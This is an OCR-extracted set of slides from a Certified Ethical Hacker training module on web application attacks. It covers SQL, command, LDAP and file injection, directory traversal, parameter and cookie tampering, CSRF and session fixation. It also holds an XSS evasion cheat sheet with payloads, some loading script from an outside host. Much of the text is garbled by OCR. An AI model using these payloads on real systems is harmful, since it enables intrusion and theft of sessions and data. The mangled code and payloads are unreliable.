Module 13

Engineered by Hackers. Presented by Professionals.

CEH

Certified

Ethical Hacker

http://cchwn (el EE NEWS

Canified Ethical Hacker 6 -

TREERS http://i-train.com.vn

CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design



SECURITY NEWS

]
November 2, 2010 05:24 PM

Google

Google Offers Bucks For Bugs In Its Web Applications

Google has launched a bold, experimental vulnerability reward program that pays
researchers who discover legitimate, critical flaws in its Web applications --
including Google.com, Blogger.com, Orkut.com, and YouTube.com.

Web hacking traditionally has posed some tricky legal challenges for researchers.
Google's new program encourages researchers to poke holes in its Web services
and pays anywhere from 5500 to $3,133.70 for a severe or "clever” vulnerability --
a move experts say could open the door for other cloud-based providers to do the
same.

"Google is the first major company to come forward and invite attacks against its
online in-production applications,” says HD Moore, creator of Metasploit and chief
security officer at Rapid7. "While security researchers have spent years testing
software applications and reporting the findings, those that decided to take this
approach online have faced legal challenges. This is a great precedent for the
security community and will hopefully encourage other services providers to take a
similar approach.”

http:/fwww.darkreading.com
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Module Flow

Web App Pen Testing ﬁi—l
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Web Application Security Statistics
A

Cross-Site Scripting
SQL Injectio

Parameter Tampering

Web
Application 37¢ ookie Poisoning

Vulnerabilities
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Introduction to Web Applications

Web applications provide an interface between
end users and web servers through a set of
web pages that are generated at the
server end or contain script code to
be executed dynamically within
the client Web browser

Though web applications enforce certain
security policies. They are vulnerable
to various attacks such as SQL
injection, cross-site scripting,
session hijacking etc.

=k .

Organizations rely on Web
applications and Web 2.0
technologies to support key

business processes and
improve performance

New web technologies such as
Web 2.0 provide more attack

surface for web application

' exploitation
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Web Application Components

Session

The Web Tracking

Server

System Application

Security
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How Web Applications £

—

User  Login Form Internet

0S System Calls 4 A
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Operating System

Web Application
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6329 Tech CNN SELECT * from news where id = 6329
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Web 2.0 Applications

Web 2.0 refers to a new generation of Web
applications that provide an infrastructure
Blogs (Wordpress)
New technologies like AJAX (Gmail, YouTube)

for more dynamic user participation, social
Mobile application (iPhone)

interaction and collaboration
Advanced gaming
Flash rich interface websites

Dynamic as opposed to static site content
Frameworks (Yahoo! Ul

RSS-generated syndication
Library, jQuery)

Cloud computing websites like

Social networking sites (Flickr,
Facebook, del.cio.us)
(amazon.com)

Interactive encyclopedias and dictionaries

Mash-ups (E-mails, IMs, Electronic
payment systems)

Online office software (Google Docs and Microsoft light)

ClEn

Google Base and other free Web services
(Google Maps)

Ease of data creation, modification, or
deletion by individual users

® 0 o
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Vulnerability Stack

Business Logic Flaws
- Technical Vulnerabilities

Third Party 00 Stack 6 * ' / Commercial
Database

Web Server : Stack 4

Stack 3

Stack 2

Stack 1
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Web Attack Vectors

17
An attack vector is a path or Attack vectors include No protection method is
means by which an attacker Parameter manipulation, XML completely attack-proof as
can gain access to computer poisoning, client validation, the attack vectors keep
or network resources in order server misconfiguration, Web changing and evolving with
to deliver an attack payload service routing issues, and new technological
or cause a malicious outcome cross-site scripting evolution

Copyright @ by EG-Geuncil
All Rights Reserved. Reproduction is Strictly Prohibited.

http://ceh.vn

é I _TREIR http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design




Module Flow

Web App Pen Testing ﬁi—l
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Unvalidated Input

Input validation flaws refers to a web application
vulnerability where input from a client is not
validated before being processed by web
applications and backend servers

\) W) ttpefjuzzyooy.com/

Bov.com

Attacker

http://juggyboy.com/login.aspx
2user=jasons@pass=springfield

Browser Post Request

An attacker exploits input validation flaws to
perform cross-site scripting, buffer overflow,
injection attacks, etc. that result in data
theft and system malfunctioning

.

\

1

| Database
N A

A

: Browser input not

: validated by the web
: application

string sql = "select * from Users
where

user ='" + User.Text + "!

and pwd='" + Password.Text + "'“r

Modified Query

Copyright © by EG-Councl

http://ceh.vn

All Rights Reserved. Reproduction is Strictly Prohibited.

http://i-train.com.vn

CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design




Parameter/Form Tampering

_J A Web parameter tampering attack involves the manipulation of parameters exchanged
between client and server in order to modify application data such as user credentials and
permissions, price, and quantity of products

) A parameter tampering attack exploits vulnerabilities in integrity and logic validation
mechanisms that may result in XSS, SQL injection, etc.

Tampering with the URL
parameters

Other parameters can be
changed including attribute
parameters

G O http://www.juggybank.com/stat.asp?pg=531&status=view S ALLED B

T
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Directory Traversal

- ) .|
_) Directory traversal allows attackers to access restricted directories
including application source code, configuration and critical system
files, and execute commands outside of the web server's root directory
) Attackers can manipulate variables that reference files with “dot-dot-
slash (../)” sequences and its variations
|- i
Accessing files located outside the web publishing directory using directory traversal
50— e
http://www.juggyboy.com/process.aspx=../../../../some dir/some file
I http://www.juggybey.com/../../../../some dir/some file
4
@ http://www.juggyboy.com/GET/process.php./../ ../ .. ./ ./ ../ ../ ../etc/passwd I
i Attacker ;th:ﬁe = 'Jascn.php’; E
T S :if ( is set( §_COOKIE['THEME'] ) )
< : $theme = § COOKIE['THEME']: .
.................. ! include ( 5
server responds with 1 "/home/users/juggyboy/Jason/" . H
password files ! Stheme ) ;7> .
Attacker SuEEEEENSNEEEIEEEEEESEEEEEEEEEEEESERERATEA NN bbb LLLLLLEEEL DL LLEL L LT 1 : ........................................ .:
» root:a98b24a1d3e8:0:1:System Operator:/:/bin/ksh -
: daemon:*:1:1::/tmp: : Vulnerable Server Code

EJasan:ashGQSa?ﬁf?ﬁdST.:iaz:10l]:[:-eveInper:fhnme,’usersfjasonf:fbinfcsh '
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Easy Exploitation

Using misconfiguration vulnerabilities, attackers gain
unauthorized accesses to default accounts, read
unused pages, exploit unpatched flaws, and read or
write unprotected files and directories, etc.

Server Common Prevalence
Configuration Security misconfiguration can occur at any level
Problems of an application stack, including the platform,
web server, application server, framework, and
custom code
= Example
" - £ : =  The application server admin console is automatically
) -~ 0 lmproper . aot) installed and not removed
5 Authentication ooo
- |00 = Default accounts are not changed
= Attacker discovers the standard admin pages on
server, logs in with default passwords, and takes over
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Injection Flaws

1. Injection flaws are web application vulnerabhilities that allow untrusted data to be interpreted and
executed as part of a command or query

2. Attackers exploit injection flaws by constructing malicious commands or queries that result in data loss
or corruption, lack of accountability, or denial of access

3. Injection flaws are prevalent in legacy code, often found in SQL, LDAP, and XPath queries, etc. and can be
easily discovered by application vulnerability scanners and fuzzers

It involves injection of
malicious SQL queries
into user input forms

It involves injection of It involves injection of
malicious code through malicious LDAP

a web application statements
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MNote: For complete coverage of SQL

] L
SOQL Injection Attacks oo
r

SQL injection attacks uses a series of malicious SQL queries to directly
manipulate the database

Microsoft’
SQL An attacker can use a vulnerable web application to bypass normal security
server- measures and obtain direct access to the valuable data
SQL injection attacks can often be executed from the address bar, from within
application fields, and through queries and searches
| — — — —d
0l <?php
02 function save email (Suser, Smessage)
03 {
Browser |ttt 04 $sql = "INSERT INTO Messages (
' 05 user, message
” - ] 06 ) VALUES (
F : 07 'Suser’', 'Smessage’
D> 08 yos
‘ test') ;DROP TABLE Messages, -- 09
: When this code is sent to the database = EE BN aysal Saus st et
@ server, it drops the Messages table — }
. 12 >

SQL Injection vulnerable server code
Code to insert spammy data on behalf of other users

test'), ('user2', 'I am Jason'), ('user3', 'You are hacked
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Command Injection Attacks

Qhe" Inje(:tion 4 An attacker tries to craft an input string to gain shell access to a web server

Shell Injection functions include system(), StartProcess(),
java.lang.Runtime.exec(), System.Diagnostics.Process.Start(), and similar APIs

: HTML Embeddlng  This type of attack is used to deface websites virtually. Using this attack, an

attacker adds an extra HTML-based content to the vulnerable web application

In HTML embedding attacks, user input to a web script is placed into the
output HTML, without being checked for HTML code or scripting

Flletype
Attacker exploits this vulnerability and injects malicious code into system files

http://www.juggyboy.com/vulnerable.php?COLOR=http://evil /exploit?
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Command Injection Example

; . J  http://juggyboy/cgi-bin/lspro/Ispro.cgi?hit_out=1036
@  An attacker enters malicious code QO
(Account Number) with a new password

© The last two sets of numbers are the BOY.COM

banner size

=

©  Once the attacker clicks the submit 2 UserName | Addison
button, the password for the account 1036
is changed to the word “newpassword"

: r
Email Address l\_adc‘i@juggyboy.com

©  The server script assumes that only the :
URL of the banner image file is inserted : ' Banner URL Lgif | Inewpassword | 1036 | 60| 468
into that field

Site URL Lr www.juggyboy.com ]

f .
Password L newpassword Submit

Attacker Launching Code v e .
Injection Attack Poor input validation at server -——
script was exploited in this attack
nl that uses database INSERT and [ m— N\
Malicious code: UPDATE record command
wWWW . juggyboy.com/banner.gif| |newpassword| |1036]|60|468 S
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File Injection Attack

SE <?php
@@ $drink = ‘coke’;

if (isset( $_GET['DRINK'] ) )
$drink = $_GET['DRINK'];
require( $drink . '.php' )

<form method="get">
<select name=“"DRINK">
<option value=“pepsi">pepsi</option>
<option value="“coke">coke</option>

Dy B »
<input type="submit">
</form> \
1 |
Server File System
A ——————————— 4
Client code running in a browser Vulnerable PHP code
http://www. juggyboy.com/orders.php?DRINK=http://jasoneval.com/exploit? € =rese Exploit Code
Attacker injects a File injection attacks enable attackers to exploit
remorely hosted file at vulnerable scripts on the server to use a remote
www.jasoneval.com file instead of a presumably trusted file from the
containing an exploit local file system
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What is =

An LDAP injection technique is used to take advantage of non-validated web
application input vulnerabilities to pass LDAP filters used for searching Directory
Services to obtain direct access to databases behind an LDAP tree

Filter :
ttributeN t 1
LDAP Directory Services Syntax (Attributenams P e
store and organize
Operator Example

information based on its
attributes. The
information is
hierarchically organized
as a tree of directory >=
entries

(objectclass=user)

(mdbStorageQuota>=100000)

(mdbStorageQuota<=100000)

. e
(a3 ‘
2 e
=

: -
2
E N
=

~— (displayName~=Foeckeler)
* (displayName=*John¥*)
LDAP is based on the
client-server model and AND (&)
clients can search the
directory entries using OR(]) (& (objectclass=user) (displayName=John)
filters SO

NOT(!) [itebjectclass=group)
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How LDAP Injection Works?
v . s

‘E‘ A Normal Query
- Normal Query \ - + Code Injection
0 o R I }
R R R R R aaaanasaasasssssasns 0 LOR LR P
. T — Normal Result T — Normal Result and/for
Additional Information

Client LDAP Server Client LDAP Server

1. LDAP injection attacks are similar to SQL injection attacks but exploit user parameters to generate
LDAP query

2. Totest if an application is vulnerable to LDAP code injection, send a query to the server meaning that
generates an invalid input. If the LDAP server returns an error, it can be exploited with code injection
techniques

G E NSNS EENESEEEEEEEEEEE SRS EEEEEESEEE R SRR
"

: If an attacker enters valid username "juggyboy”, and

ACCDunt Logln : injects juggyboy)(&)) then the URL string becomes

= r i : (&(USER=juggyhoy)(&))(PASS=hlah))

: Username | jussyboy®) | P i :
wels: - > Only the first filter is processed by the LDAP server, =

: r : : only the query (&(USER=juggyboy)({&)) is processed. &

Password L blah J : : This query is always true, and the attackerlogsinto &

: t ok : the system without a valid password :
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Hidden Field Manipulation Attack

HTML Code l

<form method="post"
action="page.aspx">
<input type="hidden" name= |
“PRICE" value="200.00"> l
|
I

Hidden Field
Price = 200.00

“r;h tp: //www. juggyboy.com/page.asp

product=Juggyboy%20Shirtsaprice

Product name: <input type=
"text" name="“product”

value="Juggyboy Shirt"><br> 1 @
Product price: 200.00"><br>
<input type="submit" value= H H >
"ls)ubmiltn's'; ‘ ch.lden Field http://www. juggyboy.com/p >
</form> Price = 2.00 age . aspx?product=Juggyboy
[} . %20shirtsprice=2.00
grereensnneniinia, Hsbsalnsnnannssasnasnaninnn;
i 1. When a user makes selections on an HTML page, the selection is typically
! Product Name [Juggyboy Shirt] : stored as form field values and sent to the application as an HTTP request
: : (GET or POST)
: Product Price 200 2. HTML can also store field values as Hidden Fields, which are not rendered to
- Submit ; the screen by the browser, but are collected and submitted as parameters
R nessassssasnssssmasassnssnsnssuamannnared ; during form submissions

3. Attackers can examine the HTML code of the page and change the hidden
field values in order to change post requests to server
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Cross-Site Scripting (XSS) Attacks

..
‘“Jﬁ'i Cross-site scripting ('XSS' or 'CSS')
ﬁ " “attacks exploit vulnerabilities in
dynamically generated Web

pages, which enables malicious
attackers to inject client-side

script into web pages viewed

by other users

Malicious script execution

Redirecting to a malicious
server

Exploiting user privileges

Ads in hidden IFRAMES and
pop-ups

Data manipulation

! -y

http://cehvn (@R NEW S

Canified Ethical Hacker

It occur when invalidated input data is included in
dynamic content that is sent to a user's web
browser for rendering
Attackers inject malicious JavaScript,
VBScript, ActiveX, HTML, or Flash for
execution on a victim's system by
hiding it within legitimate requests

>
»

ﬁ Session hijacking

Brute force password
cracking

&@ Data theft
ﬁ; Intranet probing
F‘) Keylogging and remote

monitoring
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How XSS Attacks Work?

Normal Request

This example uses a vulnerable
page which handles requests for
a nonexistent pages, a classic

404 error page
http://juggyboy.com/jason file.html
a0aNotfound @ B (G - -rrrirrerer i
/jason_file.html V
So ¥ Code (Handles requests for a
KNEE LS nonexistent page, a
classic 404 error page)
<html>
<body>
<? php E ~ =
print "Not found: " — m
XSS Attack Code urldecode (§_SERVER["
[ ———r— KRR VRE 1
eeee =l o3
Server Response </body>
408 Not found Grrrresnrnnsnnansnananann 4 </html> Server
*ﬂﬂlf_-----fﬂ A

& WARNING: The application
has encountered an error.
http://juggyboy.com/<script>alert ("WARNING: The application
3 has encountered an error") ;</script>
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Cross-Site Scripting Attack Scenario:

= L ... > | § . Hi, You have won a i User clicks
: . lottery of $2M, click -  the malicious link

=k S the link to claim it. *(;zz; [JESSESSSSRRSRSSSSS
: :- ] — ----------------..? i Y :
Sends email = : b A_ I.-’F~fE|3..=I1t.:.-:--'|u22-.-IJ:--,-. :
with malicious = : Internet — :
link = - . i

: Attacker gets access v

: to victim’s computer

Server sends a

E Mame: Shaun i page to the user
: Age: 31 with client profile
L cemssmsnnunsnnes  Location: UK = ( ...................

Malicious code is executed Occupation: SE
on the client Web browser Last visit: Sept 21, 2010

Requestireoeived
by Legitimate server

Attacker

@ In this example, the attacker crafts an email message with a malicious script and sends it to the victim:

<A HREF=http://legitimateSite.com/registration.cgi?clientprofile=<SCRIPT> malicious
code</SCRIPT>>Click here</A>

When the user clicks on the link, the URL is sent to legitimateSite.com with the malicious code

@ The legitimate server sends a page back to the user including the value of clientprofile, and the malicious code is
executed on the client machine
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XSS Example: Attack via Email

User’s Malicious Attacker's Legitimate
Browser Script Server Server
i =
<A HREF=http://juggyboybank.com/ /2 —
o Construct a malicious link registration.egi?clientprofile—<SCRIPT> ' '
malicious code</SCRIPT>>Click here<jR> ﬁ

SLRLE TE PEREETERTEE -

| eEmaiI the URL to user and convince uset to click on it

0 e S A— AN >

- ! Page with malicious scripto :
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XSS Example: Stealing Users' Cookies

User’s Malicious Legitimate Attacker's
Browser Script Server Server
o Host a page W|th malicious script f
N1 T O W sy el i N, SUSTUIRIR SO SRR | =
| 1 C L

HTML contalnlng malicious scrlpte

9 Collect user’s cookle —
| -2
Redirect to attacker’s server ! | w

= St vtial = ¥ | @23
o Send the requeét with the user’s CODkI? 3
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XSS Example: Sending an Unauthorized
Request

User’s Malicious Attacker s Legitimate
Browser Script Server Server

nnn
duu

o Construct a malicious link

TTTETYTERES :

9EI’T‘|EI| the URL to user and convince user to click on it —

e Request the page !

Page W|th Jh'naulu:lr::us scrlpt o ‘

A

Run : :
IIelll-ll-lllllllllllll}l : :

e An authorlzed request

B Tl L SLLCLERILE =
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XSS Attack in Blog Posting

L A0 http://vavw.techpost.org/ M

TechPost

Technoiogy meve. hades and tiss

Facebook acquires file-sharing service
New York-based start-up that lets users privately g

and sporadically share files through a drag-and-
drop interface with additional options.............

Leave your comment

Attackel’ Jason, | love your blog post!
<script>onload=window.location="http

:f fwwiwi.juggyboy.com'</script>

Attacker adds a malicious
script in the comment field
of blog post

orvrnnnnnnnn

Comment with
malicious link is
stored on the server

Database Server Web Application

User visits the
TechPost
website

Malicious code
<script>onload=
window.location=
http://www.juggyboy.com'’
<[script>

is injecting the blog post

User redirected to a malicious
website juggyboy.com

3ason | 29. Oct, 2010
Facebook acquires file-sharing service
New York-based start-up that lets users privately g
and sporadically share files through a drag-and-
drop interface with additional options..............

Leave your comment

—

Bov.com

Malicious Website
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XSS Attack in Comment Field

QOO repi//unnzecnpostor: IEBIEIE QOO reepfuwmsechpost.ore_HBEIE)

TochP User visits the — =
0 ¢ echPos
echt'ost TechPost badhiad
achnoiogy mewe. hades wnd te Joson | 29. Oct, 2010 ~ D bsit wchnelogy meve. havis and tim 32son | 29. Oct, 2010
{ Facebook acquires file-sharing service = e WEDSLe > Facebook acquires file-sharing service s

New York-based start-up that lets users privately |
and sporadically share files through a drag-and-
drop interface with additional options..............

New York-based start-up that lets users privately
and sporadically share files through a drag-and-
drop interface with additional options...............

Comment

(

<

I

Leave your comment

User Jason, | love your blog post!
- Mark | k@mi ft.
Attacker Jason, | love your blog post! L e ool
<script>alert("Hello eave your comment
World")</script> Malicious code [ 1
|- <script>alert(“"Hello 4 2

World")</script>

Attacker adds a malicious . is injecting the blog post
script in the comment field
of blog post
v
LI R R R R R R P R R R ] *‘elbw H
Comment with ! o

D =
The alert pops up as soon

as the web page is loaded [I]

Pop up Window

malicious link is
stored on the server

Database Server Web Application

Copyright © by EG-Councl
All Rights Reserved. Reproduction is Strictly Prohibited.

http://i-train.com.vn

= -
http://ceh.vn (gl k. NEW S 6
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Canified Ethical Hacker




' XSS Cheat Sheet

XSS locator: "';1--"<XSS>=&{()}

Normal XSS JavaScript injection: <SCRIPT
SRC=http://ha.ckers.org/xss.js></SCRIPT>

Image XSS: <IMG SRC="javascript:alert('X55');">
No quotes and no semicolon: <IMG
SRC=javascript:alert("XSS')>

Case insensitive XSS attack vector: <IMG
SRC=JaVaScRiPt:alert('XSS')>

HTML entities: <IMG

SRC=javascript:alert{ &quot;XSS&quot;)>
Grave accent obfuscation: <IMG
SRC="javascript:alert{"RSnake says, 'XS5'") >

Malformed IMG tags:<IMG
""" ><SCRIPT>alert("XS5")</SCRIPT>">

Embedded tab: <IMG SRC="jav
ascript:alert('XSS');">

Embedded encoded tab: <IMG
SRC="jav&#x09;ascript:alert('XS5s');">
Embedded tab: <IMG SRC="jav
ascript:alert('XSS');">

Embedded encoded tab: <IMG
SRC="jav&#x09;ascript:alert('XSS');">

Embeded newline: <IMG
SRC="jav&#x0A;ascript:alert('XSS');">

Embedded carriage return: <IMG
SRC="jav&#x0D;ascript:alert('XSs');">

Null Chars: perl -e ‘print "<IMG
SRC=java\Oscript:alert(\"XSS\")>";' > out

Non-alpha-non-digit X5S: <SCRIPT/XSS
SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Non-alpha-non-digit part 2 XSS: <BODY
onload#5%&()*~+-.,;;2@[/ | \]" =alert("X55")>

Extraneous open brackets:
<<SCRIPT>alert{"XS5S");//<</SCRIPT>

No closing script tags: <SCRIPT
SRC=http://ha.ckers.org/xss.js?<B>

Protocol resolution in script tags: <SCRIPT
SRC=//ha.ckers.org/.J>

Half open HTML/JavaScript XSS vector: <IMG
SRC="javascript:alert("Xss')"

Double open angle brackets: <iframe
src=http://ha.ckers.org/scriptiet.html <

XSS with no single quotes or double quotes or
semicolons: SCRIPT>alert(/XSS/.source)</SCRIPT>
Escaping JavaScript escapes: \";alert('XSS');//

End title tag:
</TITLE><SCRIPT>alert("XS5");</SCRIPT>

INPUT image:<INPUT TYPE="IMAGE"
SRC="javascript:alert('XSS');">

IMG Dynsrc: <IMG
DYNSRC="javascript:alert('Xss')">

IMG lowsrc:<IMG
DYNSRC="javascript:alert('XSS')">

IMG lowsrc:<IMG
LOWSRC="javascript:alert('XSS')">

BGSOUND:<BGSOUND
SRC="javascript:alert('XSS');">

LAYER:<LAYER SRC=
"http://ha.ckers.org/scriptlet.html"></LAYER>

STYLE sheet: <LINK REL="stylesheet"
HREF="javascript:alert{'XS5’);">

Local htc file:<XSS STYLE="behavior:
url(xss.htc);">

VBscript in an image: <IMG
SRC="vbscript:msgbox("XS5")">

Mocha: <IMG SRC="livescript:[code]">

US-ASCH encoding: zscriptualert{EXSSE)Z/scriptu
META:<META HTTP-EQUIV="refresh"
CONTENT="0;url=javascript:alert('XSS');">

TABLE:<TABLE
BACKGROUND="javascript:alert('XSS')">

TD:<TABLE><TD

BACKGROUND="javascript:alert('XSS')">
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Cross-Site Request Forgery (CSRF) Attack

1. Cross-Site Request Forgery (CSRF) attacks exploit webpage vulnerabilities that allow an attacker to
force an unsuspecting user's browser to send malicious requests they did not intend

2. The victim user holds an active session with a trusted site and simultaneously visits a malicious site,
which injects an HTTP request for the trusted site into the victim user’s session, compromising its
integrity

User Trusted Website

o Logs into the trusted site and
creates a new session = 3
—
D TP bassasnsnnsdessannannns 9.. i
Stores the session identifier for the oog
session in a cookie in the web browser Log

Visits a malicious site

(RR RN RN RN RRERE RN RN l-l
Sends a request from the user's browser o
using his session cookie ‘ !

T e T >
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How CSRF Attacks Work?

Client Side Code ‘ Server Code

Symbol C

<?php
Shares : ] User logs into trusted server using his credentials session start(): ==
W TILL . . el ==
=form action="buy.php" - > if (isset($ REQUEST['symbol'] [=
method-"POST"> E &
<p=Symbeol: <input type="text" . Server sets a session cookie in the user's browser isset (5 REQUEST['shares']))
name="symbol" /></p= = RN NN NI EEEE RN EEEEEEEEEINEIEEEEEEEEEEREEEE . f —
) . H o {buy stocks($ REQUEST['symbocl
<p=5Shares: <input type="text" = H \ - -
name="sharas" fo</p> 3 . I, Trusted
sp=zinput type="submit" H L i EEEsEEssEEEEEEsEEEEEEEESEESEEEEEEEEES }. $_REQUEST[ 'shares']);} S
value="Buy" [></p= *  Malicious code is executed in the > erver
</formar - trusted server
:

N &

Attacker sends a phishing mail tricking

: A user to send a request to a malicious site
- : Attacker
User o :
. Response page contains malicious code 9 Malicious Code ‘
: e R Y R R L] EEEw

: <img
src="http://juggyboy.com/]

-------------------------------------------------------------). h 3 1
gy P .php?symbol=MSFT&
User requests a page from the malicious server u 1o : )
hares=1000" /> Malicious

Server
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Web Application Denial-of-Service
(DoS) Attack

Attackers exhaust available server resources by :

: sending hundreds of resource-intensive requests, :

: such as pulling out large image files or requesting :
: dynamic pages that require expensive search

operations on the backend database servers :

.
ooooooooooooooooooooooooo D )

Web Server Resource Consumption

R R R PPN IINIIIIIIIIIIIIIIIIIIIISIIIEILTS R L

Targets

CPU, Memory, and Sockets
Disk Bandwidth

Database Bandwidth
Worker Processes

-
R

Canified Ethical Hacker

Why Are Applications Vulnerable?

¢ Reasonable Use Expectations

¢ Application Environment Bottlenecks
¢ Implementation Flaws

¢ Poor Data Validation

.
ooooooooooooooooooooo D

Web Services Unavailability

............... D
.

http:

C

Application-level DoS attacks emulate the same
request syntax and network-level traffic
characteristics as that of the legitimate clients,
which makes it undetectable by existing DoS
protection measures :

.
D
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Denial of Service (DoS) Examples

Login Attacks

The attacker may overload the login process
by continually sending login requests that
require the presentation tier to access the

authentication mechanism, rendering it
unavailable or unreasonably slow to
respond

User Registration DoS

The attacker could create
a program that submits
the registration forms
repeatedly; adding a
large number of
spurious users to
the application

Canified Ethical Hacker

Account Lock-Out Attacks

The attacker may enumerate usernames through
another vulnerability in the application and then
attempt to authenticate to the site using valid
usernames and incorrect passwords which will lock
out the accounts after the specified number of failed
attempts. At this point legitimate users

will not be able to use the site

User Enumeration

]

[REER
00
mim'm 11T

If application states which
part of the username/
_ password pair is incorrect, an
\_ attacker can automate the
.\ process of trying common
5\ usernames from a
‘ dictionary file to
. enumerate the users of
| the application

\
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Buffer Overflow Attacks

©  Buffer overflow occurs when an application
writes more data to a block of memory, or
buffer, than the buffer is allocated to hold

© A buffer overflow attack allows an attacker to /

modify the target process’s address space in
order to control the process execution, crash
the process, and modify internal variables

©  Attackers modify function pointers used by the
application to direct program execution

N\ through a jump or call instruction and points it
to a location in the memory containing

malicious codes

Application crashes

User enters
large string

sEEEsEEm
> | aaaaaaaaaaaa

4

Vulnerable Code

int main{int argec, char *argv[]) {
char *dest buffer:;

dest buffer = (char *) malloc(10);
if (NULL = dest buffer)

return -1;

if {arge > 1) |

strepy (dest buffer, argv[l]):
printf ("The first command-line
argument is %s.\n", dest buffer); }
else { printf("No command-line
argument was given.\n"): }

free (dest_buffer);

return 0; }
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Cookie/Session Poisoning

Cookies are used to maintain session state in the otherwise
stateless HTTP protocol

Cookie Poisoning attacks involve the modification of the

contents of a cookie (personal information stored in a Web

user's computer) in order to bypass security mechanisms

Poisoning allows an attacker to inject the malicious
Inject the
malicious cont

content, modify the user's on-line experience, and
obtain the unauthorized information
\M‘“

A proxy can be used for rewriting the session data,
Rewriting the session

displaying the cookie data, and/or specifying a new

user ID or other session identifiers in the cookie

.
.
-
Yol
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How Works?

GET /store/buy.aspx?checkout=yes HTTP/1.0 Host: www_juggyshop.com
Accept: */* Referrer: http://www_juggyshop.com/showprods.aspx Cookie:
SESSIONID=325896ASDD23SA3587; BasketSize=3; Item1=1258;
Item2=2658; ltem3=6652; TotalPrice=11568;

J

alnln
@ OO

Web server replies with requested
page and sets a cookie on the user’s browser

B €-rrnennniiansanianaaseanacassssesenss e o

¢

v

Web Server

User browses a web page

User
GET /store/buy.aspx?checkout=yes HTTP/1.0 Host:

< J hop. St o z
Attacker steals cookie WWW.Juggys _op com Accept: */* Referrer .
iffi hishi ass http://www.juggyshop.com/showprods.aspx Cookie:
(Sniffing, XSS, phishing SESSIONID=325896ASDD235A3587; BasketSize=3; ltem1=1258;
attack)

Item2=2658; Item3=6652; TotalPrice=100;
e i

SEREN .
L BRURR

SesEBs S RRRE Product is delivered to attacker’s address

Attacker

Attacker orders for product usmg modified cookle

L P P T P T P LT PP E PP PP PP
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Session Fixation Attack
using an explicit session ID value

J In asession fixation attack, the attacker tricks user to access a genuine web server

) Attacker assumes the identity of the victim and exploits his credentials at the server

Attacker logs on to the bank website using his credentials

......................................................................... >
Web server sets a session ID on the attacker’s machine 9.

| - |
E -
= : Server
{juggybank.com)
T C T TP T T TP PP REEPPETY PP PPRITEETRITE RLLTTTLRS P RSIEEICLTEIe P
Attacker logs into the server using the victim's H
credentials with the same session ID A A
Attacker sends an: W “ .
email containing Iink; i
with a fix session ID} http: //juggybank.dom/login. s
p?sessicnid=4321

User clicks on the link and is redirected to the bank website

e

E=
http://ceh.vn f'
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Insufficient Transport Layer Protection

Supports Weak
Algorithm

Insufficient transport layer
protection supports weak )\

Exposes Data

This vulnerability exposes
user’s data to untrusted
third-parties and can lead
to account theft

algorithms, uses expired or
invalid certificates

Launch Attacks

Underprivileged SSL setup
can also help attacker to
launch phishing and MITM
attacks
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Improper

. Improper error handling gives insight into source code such as logic
flaws, default accounts, etc.

.J Using the information received from an error message, an attacker L |
identifies vulnerabilities

® |nformation Gathered

0 @ @ http://juggyboy.com/

Out of memory @ BOY.COM
Null pointer exceptions

System call failure

Could not obtain post/user information
Database unavailable DEBUG MODE
SQL Error: 1016 Can't open file: ‘nuke_bbposts_text. MYD'. {errno: 145)
Network timeout SELECT u.username, u.user_id, u.user_posts, u.user_from, u.user_website,
u.user_email, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig,
Database information u.user_sig_bbcode_uid, u.user_allowsmile, p.*, pt.post_text, pt.post_subject,
pt.bbcode_uid FROM nuke_bbposts p, nuke_users u, nuke_bbposts_text pt WHERE

web application Iogical ﬂOW p-topic_id ="1547" AND pt.post_id = p.post_id AND u.user_id = p.poster_id ORDER BY
p.post_time ASC LIMIT O, 15

Application environment ' Hine- 4o
File:/user/home/geeks/www/vonage/modules/Forums/viewtopic.php
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Insecure Cryptographic Storage

.J Insecure cryptographic storage refers to when an application uses poorly written
encryption code to securely encrypt and store sensitive data in the database

- This flaw allows an attacker to steal or modify weakly protected data such as
credit cards numbers, SSNs, and other authentication credentials

Vulnerable Code Secure Code

public S5tring encrypt(String plainText) {
public String encrypt(String plainText) DESKeySpec keySpec = new
{ DESKeySpec (encryptKey)
SecretKeyFactory factory =
new SecretKeyFactory.getInstance (“DES")
Secretkey key =
factory.generateSecret (keySpec) ;
Cipher cipher = Cipher.getInstance ("DES"):
cipher.init(Cipher.ENCRYPT MODE, key) :
} byte[] utfB8text = plainText.getBytes (“UTFB") ;
byte[] enryptedText =
ecipher.dcoFinal (utfBtext) ;
return BasebtdEncoder.encode (encryptedText) ; }

plainText = plainText.replace(“a”,"z");
plainText = plainText.replace (“b","y");

return Baseb64Encoder.encode (plainText) ;
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Broken Authentication and Session
Management

An attacker uses vulnerabilities in the authentication or session management functions such as
exposed accounts, session IDs, logout, password management, timeouts, remember me, secret
question, account update and others to impersonate users

Session ID in URLs Timeout Exploitation Password Exploitation

http://juggyshop.com/sale/saleitems=304;jse . S, A .
ssionid=120MTOIDPXMOOQSABGCKLHCIUN2 If application’s timeouts are not Attacker gains access to the

JV2dest=NewMexico set properly and a user simply

| i closes the browser without
logging out from sites accessed
through a public computer,
attacker can use the same
browser later and exploit the
user's privileges
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control bypass

Unvalidated Redirects and Forwards

Unvalidated redirects enable attackers to install malware or trick victims into disclosing

passwords or other sensitive information, whereas unsafe forwards may allow access

Unvalidated Redirect
-~
N S5
""" Attacker sends an email
containing rewrite link to
Attacker

snnns
0—
=http://www.evilserver.com)

> = - T T T R PR PR P ER PR TR TR D 2
malicious server
(http://www.juggyboy.com/redirect.aspx?

User is redirected to
attacker’s server
User

Unvalidated Forward

Attacker requests page
from server with a forward

http://www.juggyshop.com/purch
Attacker

Malicious Server
ase.jsp?fwd=admin.jsp

Attacker is
forwarded to admin page

k.t () http://www.juggyzhop.com/admin.jsp

Administration Page
IE. Create price list
“assnsssssssassasnanannssncesai) (] Create item listing
* purchase records

m Registered users

http://ceh.vn % NEWS

Canified Ethical Hacker

Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http:

i-train.com.vn

CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design



Architecture

WS-Policy

WS-Work Processes

WS-Security

WS-Federation ' WS-SecureConversion
WS ‘ WS-Trust ,
Security "
PoIicy XML Encryption SAML Kerberos X.509

Security Token Profiles

